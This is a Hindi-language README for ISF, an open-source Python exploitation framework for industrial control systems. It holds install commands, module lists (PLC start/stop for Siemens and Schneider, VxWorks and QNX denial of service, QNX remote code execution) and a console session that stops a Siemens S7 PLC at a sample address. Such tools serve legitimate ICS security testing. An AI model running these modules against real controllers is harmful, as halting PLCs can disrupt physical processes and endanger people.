
ISF(Industrial Control System Exploitation Framework),a exploitation framework based on Python
ISF (Industrial Exploitation Framework) एक Python-आधारित शोषण ढाँचा है, जो metasploit ढाँचे के समान है।
ISF ओपन सोर्स प्रोजेक्ट routersploit पर आधारित है।
इसे अन्य भाषाओं में पढ़ें: English, 简体中文,
पूर्व आपसी सहमति के बिना लक्ष्यों पर हमला करने के लिए ISF का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स कोई देयता नहीं लेते हैं और इस प्रोग्राम के कारण किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
| नाम | पथ | विवरण |
|---|---|---|
| modbus_tcp_client | icssploit/clients/modbus_tcp_client.py | Modbus-TCP क्लाइंट |
| wdb2_client | icssploit/clients/wdb2_client.py | WdbRPC संस्करण 2 क्लाइंट(Vxworks 6.x) |
| s7_client | icssploit/clients/s7_client.py | s7comm क्लाइंट(S7 300/400 PLC) |
इन प्रोटोकॉल का उपयोग अन्य फ़ज़िंग ढाँचों जैसे Kitty में या अपना स्वयं का क्लाइंट बनाने में किया जा सकता है।
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py
root@kali:~/Desktop/temp/isf# python isf.py
_____ _____ _____ _____ _____ _ ____ _____ _______
|_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __|
| || | | (___| (___ | |__) | | | | | || | | |
| || | \___ \\___ \| ___/| | | | | || | | |
_| || |____ ____) |___) | | | |___| |__| || |_ | |
|_____\_____|_____/_____/|_| |______\____/_____| |_|
ICS Exploitation Framework
Note : ICSSPOLIT is fork from routersploit at
https://github.com/reverse-shell/routersploit
Dev Team : wenzhe zhu(dark-lbp)
Version : 0.1.0
Exploits: 2 Scanners: 0 Creds: 13
ICS Exploits:
PLC: 2 ICS Switch: 0
Software: 0
isf >
isf > use exploits/plcs/
exploits/plcs/siemens/ exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >
आप पूर्णता के लिए Tab कुंजी का उपयोग कर सकते हैं।
isf (S7-300/400 PLC Control) > show options
Target options:
Name Current settings Description
---- ---------------- -----------
target Target address e.g. 192.168.1.1
port 102 Target Port
Module options:
Name Current settings Description
---- ---------------- -----------
slot 2 CPU slot number.
command 1 Command 0:start plc, 1:stop plc.
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > show info
Name:
S7-300/400 PLC Control
Description:
Use S7comm command to start/stop plc.
Devices:
- Siemens S7-300 and S7-400 programmable logic controllers (PLCs)
Authors:
- wenzhe zhu <jtrkid[at]gmail.com>
References:
isf (S7-300/400 PLC Control) >
| नाम | पथ | विवरण |
|---|
| s7_300_400_plc_control | exploits/plcs/siemens/s7_300_400_plc_control.py | S7-300/400 PLC प्रारंभ/रोक |
| s7_1200_plc_control | exploits/plcs/siemens/s7_1200_plc_control.py | S7-1200 PLC प्रारंभ/रोक/रीसेट |
| vxworks_rpc_dos | exploits/plcs/vxworks/vxworks_rpc_dos.py | Vxworks RPC दूरस्थ dos(CVE-2015-7599) |
| quantum_140_plc_control | exploits/plcs/schneider/quantum_140_plc_control.py | Schneider Quantum 140 श्रृंखला PLC प्रारंभ/रोक |
| crash_qnx_inetd_tcp_service | exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py | QNX Inetd TCP सेवा dos |
| qconn_remote_exec | exploits/plcs/qnx/qconn_remote_exec.py | QNX qconn दूरस्थ कोड निष्पादन |
| profinet_set_ip | exploits/plcs/siemens/profinet_set_ip.py | Profinet DCP उपकरण IP कॉन्फ़िग |
| नाम | पथ | विवरण |
|---|
| profinet_dcp_scan | scanners/profinet_dcp_scan.py | Profinet DCP स्कैनर |
| vxworks_6_scan | scanners/vxworks_6_scan.py | Vxworks 6.x स्कैनर |
| s7comm_scan | scanners/s7comm_scan.py | S7comm स्कैनर |
| enip_scan | scanners/enip_scan.py | EthernetIP स्कैनर |
| नाम | पथ | विवरण |
|---|
| pn_dcp | icssploit/protocols/pn_dcp | Profinet DCP प्रोटोकॉल |
| modbus_tcp | icssploit/protocols/modbus_tcp | Modbus TCP प्रोटोकॉल |
| wdbrpc2 | icssploit/protocols/wdbrpc2 | WDB RPC संस्करण 2 प्रोटोकॉल |
| s7comm | icssploit/protocols/s7comm.py | S7comm प्रोटोकॉल |